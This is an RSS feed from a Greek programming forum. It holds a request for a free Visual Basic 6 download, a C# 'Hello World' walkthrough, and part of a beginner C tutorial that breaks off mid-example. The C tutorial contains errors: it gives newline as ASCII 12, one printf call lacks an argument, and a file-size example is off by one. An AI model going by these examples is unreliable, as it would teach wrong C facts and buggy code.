<?xml version="1.0" encoding="iso-8859-7" ?>
<rss version="2.0">
<channel>
	<title>Hacker University Programming</title>
	<description></description>
	<link>http://www.hackeruniversity.gr/forum/index.php</link>
	<pubDate>Tue, 07 Sep 2010 13:36:55 +0300</pubDate>
	<ttl>5</ttl>
	<item>
		<title>download</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=2887</link>
		<description>Μπορείτε να μου δώσετε ένα λινκ από όπου μπορώ να κατεβάσω τη Visual Basic 6 δωρεάν;</description>
		<pubDate>Thu, 17 Jun 2010 00:06:30 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=2887</guid>
	</item>
	<item>
		<title>Hello World</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=3060</link>
		<description><![CDATA[Καλησπέρα, μιάς και δεν υπάρχει άλλο post για C# βάζω αυτό το απλό tutorial για το Hello World.<br /><br />1.Απ'το toolbox (αριστερά), βάζετε στην φόρμα σας το Button.<br />2.Κάτω δεξιά στις δυνατότητες, βάζετε στο Text ότι όνομα θέλετε να έχει το κουμπί σας.<br />3.Έπειτα εάν θέλετε, αλλάζετε το χρώμα του κουμπιού από το Back Colour και το χρώμα των γραμμάτων από το Fore Colour.<br />4.Μετά πατάτε διπλό κλικ στο κουμπί για να γράψετε τον κώδικα.<br />5.Γράφετε αυτό <!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--coloro:#2b91af--><span style="color:#2b91af"><!--/coloro--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--coloro:#2b91af--><span style="color:#2b91af"><!--/coloro--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--coloro:#2b91af--><span style="color:#2b91af"><!--/coloro-->MessageBox<!--colorc--></span><!--/colorc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo-->.Show(<!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--coloro:#a31515--><span style="color:#a31515"><!--/coloro--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--coloro:#a31515--><span style="color:#a31515"><!--/coloro--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--coloro:#a31515--><span style="color:#a31515"><!--/coloro-->"Hello World"<!--colorc--></span><!--/colorc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--colorc--></span><!--/colorc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo--><!--fonto:Consolas--><span style="font-family:Consolas"><!--/fonto--><!--sizeo:2--><span style="font-size:10pt;line-height:100%"><!--/sizeo-->); ανάμεσα στα {} κάτω ακριβώς από εκεί που λέει private void...<br />6.Τέλος, πατάτε το F5 για να εκτελεστεί το πρόγραμμα.<br />7.Εμφανίζεται η φόρμα σας, πατάτε το κουμπί και σας εμφανίζει το Hello World.<br />8.Αν θέλετε να γράφει κάτι άλλο όταν πατάτε το κουμπί αλλάζεται στον κώδικα το Hello World και βάζετε ότι θέλετε εσείς.<br /><br />Ευχαριστώ!<br /><br />Υ.Γ. Είμαι καινούριος και εγώ οπότε αν έχω κανένα λαθάκι πείτε το. <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/tongue.gif" style="vertical-align:middle" emoid=":P" border="0" alt="tongue.gif" /> <br /><br /><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc--><!--sizec--></span><!--/sizec--><!--fontc--></span><!--/fontc-->]]></description>
		<pubDate>Tue, 17 Aug 2010 23:48:22 +0300</pubDate>
		<guid>http://www.hackeruniversity.gr/forum/index.php?showtopic=3060</guid>
	</item>
	<item>
		<title>C Tutorial</title>
		<link>http://www.hackeruniversity.gr/forum/index.php?showtopic=890</link>
		<description><![CDATA[C programming tutorial by phr0z -http://www.secfreaks.gr/<br />[ keeping the scene alive ]<br /><br /><br />---- [ Menu ] ----<br />00. Intro<br />01. Your first code<br />02. Variable types<br />03. Input / Output<br />- Escape characters<br />- Arrays<br />04. Statements and loops<br />- the if statement<br />- the while loop<br />- the for loop<br />- the operators / expressions<br />05. File handling<br />- file modes<br />- reading a file<br />- obtaining the file size<br />- writting to a file<br />06. Structures<br />07. Functions<br />08. Small reference<br />- stdio.h<br />- string.h<br />- limits.h<br />09. Tips and Tricks<br />10. Useful links<br />11. Outro<br />---- [ Menu ] ----<br /><br /><br />######################################<br />00 - Intro<br />######################################<br />Αυτό το tutorial είναι γραμμένο για τους καινούργιους στον προγραμματισμό<br />και ο σκοπός του είναι να τους ξεμπερδέψει λίγο και να τους βάλει στο σωστό<br />μονοπάτι. Γνωρίζω ότι υπάρχουνε πολλά tutorials για την C στο internet, αλλα<br />δύσκολα θα βρείτε κάποιο καλο στα ελληνικά. Και στην τελική μπορεί να σας<br />μπερδέψουνε και περισσότερο<br />θα προσπαθήσω να εξηγήσω τα βασικά του προγραμματισμού με C, και θα σας<br />βοηθήσω να τα καταλάβετε, και να αρχίσετε να γράφετε τα δικά σας προγράμματα.<br />Ίσως να αναρωτιέστε πως λειτουργεί ο προγραμματισμός.. Είναι διαφορετικό για<br />κάθε γλώσσα προγραμματισμού. Στην C ο κώδικας γίνετε compile από ένα C compiler.<br />Αυτό που κάνει ο compiler είναι να μεταφράζει τον κώδικα μας σε machine language<br />Ώστε να καταλαβαίνει ο υπολογιστής μας τι θέλουμε να κάνει.Κάθε γλώσσα έχει<br />το δικό τις compiler/interpeter.<br />Εγώ χρησιμοποιώ το δωρεάν GNU GCC σαν compiler. Αν είστε σε Windows να<br />κατεβάσετε το Bloodshed Dev-Cpp IDE που περιέχει ένα mingw port του GCC.<br />Σε unix-like ο gcc είναι standard.Γράφετε gcc script.c -ο program για να κάνετε<br />compile το script.c<br />Οι windows users που θέλουνε να χρησιμοποιήσουνε τον GCC ίσως να πρέπει να<br />γράψουνε gcc.exe αντί για gcc.<br /><br /><br />######################################<br />01 - Ο πρώτος σας κώδικας<br />######################################<br />Αρχίζουμε λοιπόν , ανοίξτε ένα text editor αν είστε σε unix , η το Dev-C++ αν<br />είστε σε windows. Κάντε αντιγραφή και επικόλληση τον ακόλουθο κώδικα.<br />Κάντε το compile και τρέξτε το.<br />---- [ hello.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />main&#40;&#41; {<br />printf&#40;&#34;Hello World &#092;n&#34;&#41;;<br />getchar&#40;&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ hello.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />θα ανοίξει το command line με το μήνυμα "Hello World". Όταν πατήσετε enter<br />θα κλείσει. Τίποτα φανταχτερό έως τώρα, αλλα είναι το πρώτο σας πρόγραμμα <img src="http://www.hackeruniversity.gr/forum/style_emoticons/default/wink.gif" style="vertical-align:middle" emoid=";)" border="0" alt="wink.gif" /><br />Ίσως να έχετε μπερδευτεί λίγο, αλλα μην ανησυχείτε θα εξηγήσω την κάθε γραμμή<br />κώδικα. Πρώτα από όλα ας κοιτάξουμε την γραμμή νούμερο #1.<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<!--c2--></div><!--ec2--><br />Με αυτό περιέχουμε την standard library για input/output.<br />main() {<br />Αυτή είναι η main() function, ότι γράφετε μέσα στην function αυτή είναι το<br />πρόγραμμα σας, αυτό που θα κάνει το computer σας. Ανοίγει με { και τελειώνει με }<br />όπως και κάθε άλλη function.Υπάρχουνε διαφορα ήδη functions με κυρια<br />το void και το int.Το int γυρνάει κάτι όταν τελειώνει, το void δεν γυρνάει.<br />Να θυμάστε ότι void σημαίνει "τίποτα" οποτε void main() είναι το ίδιο με<br />main() και main(void) είναι το ίδιο με main().<br />printf("Hello World &#092;n");<br />Η printf είναι μια function defined στο stdio library.<br />(εξού και η πρώτη γραμμή στον κώδικα).<br />Τυπώνει αυτά που έχετε γράψει στο terminal. (το stdout)<br />θα πούμε περισσότερα για αυτήν πιο μετά.<br />Ο escape character &#092;n σημαίνει καινούργια γραμμή (newline).<br />Μην σας μπερδέψει όμως δεν είναι 2 χαρακτήρες, είναι ένας.<br />(νούμερο 12 σε ascii)<br />Αν θέλετε να γράψετε κυριολεκτικά ένα &#092; πρέπει να το κάνετε<br />escape με ένα άλλο. Παράδειγμα: &#092;&#092;<br />getchar();<br />Με λίγα λόγια αυτό περιμένει να πατήσετε enter πριν κλείσει το πρόγραμμα.<br />Αλλα αυτό που κάνει στην πραγματικότητα είναι να διαβάζει τον επόμενο<br />χαρακτήρα από stdin και να τον επιστρέφει. (return)<br />Επίσης υπάρχουνε δυο ήδη comments. (σχολεια) τα οποια ο compiler αγνοεί<br />σαν να μην υπάρχουν. Ένα σχολειό αρχίζει με<br />// αλλα είναι μονο για μια γραμμή<br />Ένα σχολειό για πολλές γραμμές αρχίζει με /* και τελειώνει με */<br />Παράδειγμα:<br />// This is a one-line comment!<br />/* this is a<br />multi line comment */<br /><br /><br />######################################<br />02 - Variable types<br />######################################<br />Υπάρχουνε πολλά ήδη μεταβλητών (variables)<br />Μερικά από αυτά είναι:<br />char - κρατάει χαρακτήρες<br />int - krataei ari8mous<br />long - κρατάει μεγαλύτερους αριθμούς<br />float - κρατάει αριθμούς σαν 3.324 και λοιπά<br />double - σαν το float αλλα για μεγαλύτερους αριθμούς<br />Πριν χρησιμοποιήσετε ένα variable, πρέπει να το ονομάσετε πρώτα (declare)<br />Ένα variable το κάνετε declare έτσι:<br />[variable type] [variable name] [= value]<br />Να ορίζεται τιμή (value) για κάποιο variable όταν το ορίζεται δεν είναι αναγκαίο<br />Το όνομα ενός variable δεν μπορεί να αρχίζει με αριθμό και επιτρέπονται μονο<br />a-z A-Z 0-9 και _<br /><br /><br />######################################<br />03 - Input / Output<br />######################################<br />---- [ example.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />main&#40;&#41; {<br />char myname&#91;100&#93;; // holds 100 characters<br />int myage;<br />printf&#40;&#34;What is your name? &#34;&#41;;<br />scanf&#40;&#34;%s&#34;, myname&#41;;<br />printf&#40;&#34;How old are you? &#34;&#41;;<br />scanf&#40;&#34;%d&#34;, &myage&#41;;<br />printf&#40;&#34;The first letter in your name is %c, your name is %s<br />and you are %d years old.&#092;n&#34;, myname&#91;0&#93;, myname&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ example.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />Όταν τρέξετε το παραπάνω πρόγραμμα θα είναι κάπως έτσι:<br />What is your name? phr0z<br />How old are you? 1337<br />Your name is phr0z and you are 1337 years old<br />Πως λειτουργεί? η scanf() είναι μια function defined στο stdio library που<br />διαβάζει από stdin και βάζει αυτά που διάβασε σε variables.<br />Τώρα .. τι είναι το %s και το %d?<br />Το κάθε variable έχει το δικό του τύπο και το δικό του τρόπο να τυπώνεται / scanned.<br />%d - prints intigers<br />%i - same with %d<br />%s - prints a whole array of chars<br />%c - prints a single char<br />%f - prints a float number<br />%ld - prints long type vars<br />%x - prints the value of a single char in hex , %X to make them appear uppercase<br />%o - prints the octal value of a single char<br />%% - prints a % literally.<br />%[] - tells scanf what to store.<br />eg:<br />scanf("%[0-9]", buffer); will store only the numbers into the buffer array<br />scanf("%[^0-9]", buffer); will store everything except numbers into the buffer<br />Επίσης υπάρχει και το %η και το %p τα οποια δεν θέλω να σας πω τώρα τι κάνουνε γιατί<br />μπορεί να σας μπερδέψουνε περισσότερο, και στην τελική δεν σας είναι χρήσιμα ακόμα.<br />Γράφοντας scanf("%s", myname) λέμε στο scanf να ψάξει για μια λέξη (%s)<br />από το stdin και να την βάλει στο myname.<br />- Escape Characters<br />[escape char] [description]<br />&#092;n Newline<br />&#092;t Horizontal Tab<br />&#092;v Vertical Tab<br />&#092;&#092; Backslash<br />&#092;' Single quote<br />&#092;" Double quote<br />&#92;&#48; NULL terminator<br />- Arrays<br />Να θυμάστε πάντα ότι τα arrays αρχίζουνε από το μηδέν 0 και όχι από το 1.<br />Ας κοιτάξουμε λίγο καλύτερα πως λειτουργούνε στην C ..<br />Υποθέτουμε ότι έχουμε αυτόν τον κώδικα..<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->char myname&#91;100&#93;;<br />myname = &#34;Someone&#34;;<!--c2--></div><!--ec2--><br />Αυτό είναι τελείως λάθος! είναι σαν να προσπαθεί κάποιος να<br />χωρέσει το "Someone" στο myname[0]<br />Έχουμε δυο επιλογές.<br />Η πρώτη είναι:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->char myname&#91;&#93; = &#34;Someone&#34;;<!--c2--></div><!--ec2--><br />προσέξτε ότι όταν χρησιμοποιείτε [] θα βρεθεί ο ακριβής αριθμός<br />τον elements που χρειάζεται το array για να χωρέσει το string σας.<br />Ο δεύτερος είναι:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->char myname&#91;100&#93;;<br />strcpy&#40;myname, &#34;Someone&#34;&#41;;<!--c2--></div><!--ec2--><br />το strcpy σημαίνει string copy<br />Αντιγραφει μια φράση/variable σε κάποιο άλλο variable (μεταβλητή)<br />Επίσης δεν μπορείτε να κάνετε αυτό<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->char myname&#91;&#93; = &#34;Someone&#34;;<br />if&#40;myname == &#34;Someone&#34;&#41; {<br />// stuff to do<br />}<!--c2--></div><!--ec2--><br />Επειδή βλέπει αν το μείναμε[0] είναι iso με "Someone".<br />Αν θέλετε να δοκιμάσετε αν το μείναμε είναι ακριβώς "Someone"<br />χρησιμοποιείτε το strcmp function.<br />strcmp σημαίνει string compare και γυρνάει 0 (μηδέν) αν τα δυο strings είναι τα ίδια.<br />Παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->char myname&#91;&#93; = &#34;phr0z&#34;;<br />if&#40;&#40;strcmp&#40;myname, &#34;phr0z&#34;&#41;&#41; == 0&#41;<br />printf&#40;&#34;It's the same!&#092;n&#34;&#41;;<br />else<br />printf&#40;&#34;It's not the same!&#092;n&#34;&#41;;<!--c2--></div><!--ec2--><br />Ένα array πάντα τελειώνει με τον NULL terminator &#92;&#48;<br />Αν το διαγράψετε θα έχετε διαφορα προβλήματα στον κώδικα σας<br />(αφού πολλά functions εξαρτούνται από αυτόν τον χαρακτήρα)<br />Οποτε αν το διαγράψετε μην ξεχάσετε να το βάλετε πίσω..<br />Παράδειγμα:<br />char myname[10] = "phr0z";<br />myname[5] = 'e'; // overwritting null terminator<br />myname[6] = 'n';<br />myname[7] = '&#92;&#48;'; // null terminator<br /><br /><br />######################################<br />04 - Statements and loops<br />######################################<br />να θυμάστε: ένα IF statement/loop που ακολουθείται από μονο μια γραμμή,<br />δεν χρειάζεται brackets { }<br />παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->if&#40;this&#41;<br />blabla;<br />Είναι το ίδιο με<br />if&#40;this&#41; {<br />blabla;<br />}<!--c2--></div><!--ec2--><br />- The if() statement<br />Ας υποθέσουμε ότι έχουμε ένα variable και θέλουμε να δούμε αν αυτό<br />το variable ισούται με 5. Πως θα το κάνουμε αυτό? Απλούστατα,<br />με το if statement.<br />Παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->int i;<br />i = 5;<br />if&#40;i == 5&#41; {<br />//do stuff<br />}<!--c2--></div><!--ec2--><br />Χρησιμοποιούμε το == αντί για το =.<br />Αυτά τα δυο είναι τελείως διαφορετικά.<br />Το πρώτο == σημαίνει "ισούται" και το δεύτερο δίνει τιμή σε κάποια μεταβλητή.<br />Κοιτάξτε στο Operators and Expressions υποκεφάλαιο για περισσότερα.<br />Ας δούμε ένα παράδειγμα..<br />---- [ ifelse.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />main&#40;&#41; {<br />int number;<br />printf&#40;&#34;Tell me a number&#58; &#34;&#41;;<br />scanf&#40;&#34;%d&#34;, &number&#41;;<br />if&#40;number &#62; 0&#41; {<br />printf&#40;&#34;The number is positive!&#092;n&#34;&#41;;<br />}<br />else if&#40;number &#60; 0&#41; {<br />printf&#40;&#34;The number is negative!&#092;n&#34;&#41;;<br />}<br />else {<br />printf&#40;&#34;The number is zero!&#092;n&#34;&#41;;<br />}<br />}<!--c2--></div><!--ec2--><br />---- [ ifelse.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />- the while() loop<br />Αυτό είναι ένα loop που λειτουργεί κάπως έτσι:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->while&#40; true condition &#41; {<br />// Do this<br />}<!--c2--></div><!--ec2--><br />Μπορείτε να το γράψετε και έτσι:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->do {<br />// stuff to do<br />} while&#40; true condition&#41;;<!--c2--></div><!--ec2--><br />Είναι το ίδιο, χρησιμοποιήστε οποιο σας αρέσει.<br />Παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->int i = 1;<br />while&#40;i &#60;= 10&#41; {<br />printf&#40;&#34;This is loop number %d!&#092;n&#34;, i&#41;;<br />i = i + 1; // this ads 1 to the current value of i.<br />}<!--c2--></div><!--ec2--><br />να θυμάστε ότι το 0 σημαίνει FALSE και οτιδήποτε άλλο από το 0 σημαίνει TRUE.<br />Οποτε αν έχουμε<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->while&#40;0&#41; {<br />// stuff<br />}δ<!--c2--></div><!--ec2--><br />εν θα εκτελεστεί ποτε επειδή το 0 σημαίνει FALSE.<br />Και το while(1) θα είναι ένα άπειρο loop γιατί το 1 σημαίνει TRUE.<br />(διάφορο του μηδενός)<br />- The for() loop<br />Αυτό το loop είναι περίπου ίδιο με το while.<br />Χωρίζεται σε τρία κομμάτια.<br />for( something ; condition; do this)<br />Ας δώσουμε και ένα παράδειγμα για να καταλάβετε καλύτερα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->int i;<br />for&#40;i = 0; i &#60;= 10; i = i + 1&#41; {<br />printf&#40;&#34;This is loop number %d!&#092;n&#34;, i&#41;;<br />}<!--c2--></div><!--ec2--><br />Το οποιο κάνει ακριβώς με το while loop πιο πάνω.<br />Το πρώτο μέρος θέτει το η ως μηδέν, το δεύτερο μέρος σημαίνει<br />"για όσο η είναι μικρότερο η iso με το 0" και το τελευταίο μέρος<br />βάζει +1 στο η κάθε φορα που η loop "επαλαναμβανετε".<br />Παράδειγμα:<br />---- [ alphabet.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />main&#40;&#41; {<br />char abc = 'a';<br />while&#40;abc &#60;= 'z'&#41; {<br />printf&#40;&#34;%c&#34;, abc&#41;;<br />abc++;<br />}<br />}<!--c2--></div><!--ec2--><br />Παράδειγμα με το for<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />main&#40;&#41; {<br />char abc;<br />for&#40;abc = 'a'; abc &#60;= 'z'; abc++&#41;<br />printf&#40;&#34;%c&#34;, abc&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ alphabet.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />- The Operators / Expressions<br />Έχουμε χρησιμοποιήσει το =, == και &lt;= αλλα ποσα είναι?<br />Εδώ είναι μια μικρή λίστα..:<br />[operator] [description]<br />+ Add<br />- Subtract<br />* Multiply<br />/ Divide<br />% Modulus<br />-- Decrement by 1<br />++ Increment by 1<br />+= add to current value<br />-= decrement from current value<br />= Sets value<br />== equal to<br />!= not equal<br />&gt; bigger than<br />&lt; smaller than<br />&gt;= bigger or equal<br />&lt;= smaller or equal<br />&& Logical AND<br />|| Logical OR<br />Υπάρχουνε ακόμα μερικά, αλλα αυτά είναι τα βασικά..<br />Αν θέλετε να τα δείτε όλα επισκεφτείτε αυτό το website:<br /><a href="http://www.phim.unibe.ch/comp_doc/c_manual/C/CONCEPT/expressions.html" target="_blank">http://www.phim.unibe.ch/comp_doc/c_manual...xpressions.html</a><br /><br /><br />######################################<br />05 - File handling<br />######################################<br />Για να διαβάσετε/χρησιμοποιήσετε ένα αρχείο πρέπει να χρησιμοποιήσετε<br />file pointers. Τα κάνετε declare όπως και τα variables.<br />Παράδειγμα:<br />FILE *myfile;<br />Ο αστερίσκος * είναι σημαντικός εκεί.<br />Υπάρχουν διαφορα modes για να ανοίξετε ένα φιλε.<br />Μπορείτε να το ανοίξετε για διάβασμα , γράψιμο και appending<br />(να γράψετε στο τέλος του δηλαδή)<br />Για να ανοίξετε ένα αρχείο χρησιμοποιείτε το fopen function που είναι<br />defined στο stdin library.<br />Παράδειγμα:<br />FILE *fp<br />fp = fopen("myfile.txt", "r");<br />Έτσι θα ανοίξετε το myfile.txt για διάβασμα, που σημαίνει ότι δεν μπορείτε<br />να γράψετε στο αρχείο. Aν το αρχείο δεν υπάρχει η δεν μπορείτε να γράψετε<br />στο συγκεκριμένο αρχείο (για διαφορους λόγους) το fp θα ισούται με NULL<br />Γνωρίζοντας αυτό μπορούμε να γράψουμε έναν κώδικα που να κάνει ένα check<br />αν έχουμε πρόσβαση σε ένα αρχείο η όχι.<br />---- [ fopen.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />main&#40;&#41; {<br />FILE *fp;<br />fp = fopen&#40;&#34;myfile.txt&#34;, &#34;r&#34;&#41;;<br />if&#40;fp == NULL&#41; {<br />printf&#40;&#34;The file can't be opened for reading!&#092;n&#34;&#41;;<br />}<br />else {<br />printf&#40;&#34;The file can be opened for reading!&#092;n&#34;&#41;;<br />fclose&#40;fp&#41;; // closes the file<br />}<br />getchar&#40;&#41;;<br />}<!--c2--></div><!--ec2--><br />---- [ fopen.c ] ----<br />---- [ output ] ----<br />--- [ output ] ----<br />Αν το αρχείο είναι ανοιχτό , ΠΟΤΕ να μην ξεχνάτε να το κλείσετε<br />(αφού έχετε τελειώσει μαζί του)<br />Για να το κλείσετε χρησιμοποιείτε το fclose() function<br />Παράδειγμα:<br />fclose(fp)<br />Όταν κλείσετε ένα αρχείο μπορείτε να χρησιμοποιήσετε το file pointer<br />για να ανοίξετε κάποιο άλλο αρχείο (η ακόμα και το ίδιο αρχείο ξανά)<br />- File modes<br />[file mode] [Description]<br />r Reading. Won't create the file if it doesn't exist<br />r+ Open a file for reading and writting.<br />Won't create the file if it doesn't exist<br />w Writting. Will create the file if it doesn't exist.<br />If the file exists it will delete it.<br />w+ Create a file for reading and writting.<br />If the file exists it will delete it, if it doesn't exist<br />it will create it.<br />a Appending. Will create the file if it doesn't exist.<br />If the file exists it will append to it.<br />a+ Reading and appending. Will create the file if<br />it doesn't exist. Can read all the file, but you<br />can't modify the contents of it, only append.<br />(write at the EOF)<br />b Binary mode.<br />- Read a file<br />---- [ file.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />int main&#40;&#41; {<br />FILE *fp;<br />char c;<br />fp = fopen&#40;&#34;myfile.txt&#34;, &#34;r&#34;&#41;;<br />if&#40;fp == NULL&#41; {<br />printf&#40;&#34;Can't access file myfile.txt for<br />reading!&#092;n&#34;&#41;;<br />return 1; // terminating the program since file is<br />not accessible<br />}<br />while&#40;&#40;c = fgetc&#40;fp&#41;&#41; != EOF&#41; // getting the next<br />character from fp<br />printf&#40;&#34;%c&#34;, c&#41;; // printing the character<br />fclose&#40;fp&#41;; // closing file<br />getchar&#40;&#41;;<br />return 0;<br />}<!--c2--></div><!--ec2--><br />---- [ file.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />Ας εξηγήσουμε τον κώδικα τώρα..<br />Η fget function διαβάζει τον επόμενο χαρακτήρα από ένα αρχείο<br />και τον επιστρέφει. Αφού γυρνάει το χαρακτήρα, c = fgetc(fp)<br />θα δώσει τον επόμενο χαρακτήρα από το αρχείο fp στο c..<br />Μετά από αυτό το τυπώνουμε με το printf().<br />Αλλα τι είναι το != EOF ? Πολύ απλά<br />EOF σημαίνει End Of File. Όταν το fgetc() βρίσκε το τέλος του<br />αρχείου κάνει return το EOF , και σταματάει το loop.<br />(οποτε σταματάει και να διαβάζει χαρακτήρες.)<br />Το EOF είναι defined στο stdio library.<br />- Obtain file size<br />Για να βρούμε το size ενός αρχείου θα χρησιμοποιήσουμε 2 functions.<br />1. fseek()<br />2. ftell()<br />τα οποια είναι defined στο stdio library.<br />Παράδειγμα:<br />---- [ filesize.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />int main&#40;&#41; {<br />FILE *fp;<br />long filesize;<br />if&#40;&#40;fp = fopen&#40;&#34;myfile.txt&#34;, &#34;r&#34;&#41;&#41; == NULL&#41; {<br />printf&#40;&#34;Can't access myfile for reading!&#092;n&#34;&#41;;<br />return 1;<br />}<br />fseek&#40;fp, 1, SEEK_END&#41;;<br />filesize = ftell&#40;fp&#41;;<br />fclose&#40;fp&#41;;<br />printf&#40;&#34;The size of this file is %ld&#092;n&#34;, filesize&#41;;<br />return 0;<br />}<!--c2--></div><!--ec2--><br />---- [ filesize.c ] ----<br />---- [ output ] ----<br />---- [ output ] ----<br />Ας εξηγήσουμε πως δουλεύει αυτό..<br />fseek() τοποθετεί το position indicator του αρχείου όπου θέλουμε.<br />SEEK_SET είναι η αρχή του αρχείου<br />SEEK_CUR είναι η θέση που έχει τώρα ο position indicator<br />SEEK_END είναι το τέλος του αρχείου (EOF)<br />η ftell() γυρνάει την θέση του position indicator<br />επίσης το rewind() βάζει τον position indicator πίσω στην αρχή του αρχείου.<br />- Writting to a file<br />Είδαμε πως να ανοίγουμε ένα αρχείο και πως να παίρνουμε το filesize του,<br />αλλα πως μπορούμε να γράψουμε σε ένα αρχείο?<br />Υπάρχουμε πολλοί τρόποι, θα σας δείξω δυο.<br />Ο πρώτος είναι με το fprintf() το οποιο κάνει print formatted<br />output σε ένα αρχείο. Το χρησιμοποιούμε ακριβώς όπως και<br />το printf απλά πρέπει να του πούμε σε πιο αρχείο να γράψει.<br />Παράδειγμα:<br />FILE *fp;<br />fp = fopen("myfile.txt", "w");<br />fprintf(fp, "Hey i write to a file! &#092;n");<br />Ο άλλος τρόπος είναι με το φωρείται() που χρησιμοποιείτε έτσι:<br />fwrite(string, sizeof_bytes, letters_to_be_written, file_pointer);<br />Παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->FILE *fp;<br />char myname&#91;&#93; = &#34;phr0z&#34;;<br />fp = fopen&#40;&#34;myfile.txt&#34;, &#34;w&#34;&#41;;<br />fwrite&#40;myname, sizeof&#40;myname&#91;0&#93;&#41;, strlen&#40;myname&#41;, fp&#41;;<!--c2--></div><!--ec2--><br />Επίσης χρησιμοποιούμε το sizeof και το strlen εδώ.<br />το strlen είναι defined στο string.h, και γυρνάει το μέγεθος ενός string.<br />sizeof γυρνάει το size του σε bytes.<br /><br /><br />######################################<br />06 - Structures<br />######################################<br />Ένα structure είναι βασικά μια λίστα από διαφορετικά variables.<br />Το structure το κάνουμε declare με το struct.<br />Παράδειγμα:<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->struct information {<br />int age;<br />char name;<br />};<!--c2--></div><!--ec2--><br />Για να κάνουμε declare ένα structure variable γράφουμε πολύ απλά:<br />struct information student1;<br />Και μετά μπορούμε να χρησιμοποιήσουμε το student1.age και το student1.name.<br />Ας δούμε και ένα παράδειγμα με structures..<br />---- [ struct.c ] ----<br /><!--c1--><div class='codetop'>CODE</div><div class='codemain'><!--ec1-->#include &#60;stdio.h&#62;<br />#include &#60;string.h&#62;<br />main&#40;&#41; {<br />struct information {<br />int age;<br />char name&#91;100&#93;;<br />char haircolor&#91;100&#93;;<br />float height;<br />};<br />struct information mark;<br />mark.age = 16;<br />strcpy&#40;mark.name, &#34;Mark&#34;&#41;;<br />strcpy&#40;mark.haircolor, &#34;black&#34;&#41;;<br />mark.height = 1.79;<br />printf&#40;&#34;The students name is %s, he is %d years old.&#092;n&#34;,<br />mark.name, mark.age&#41;;<br 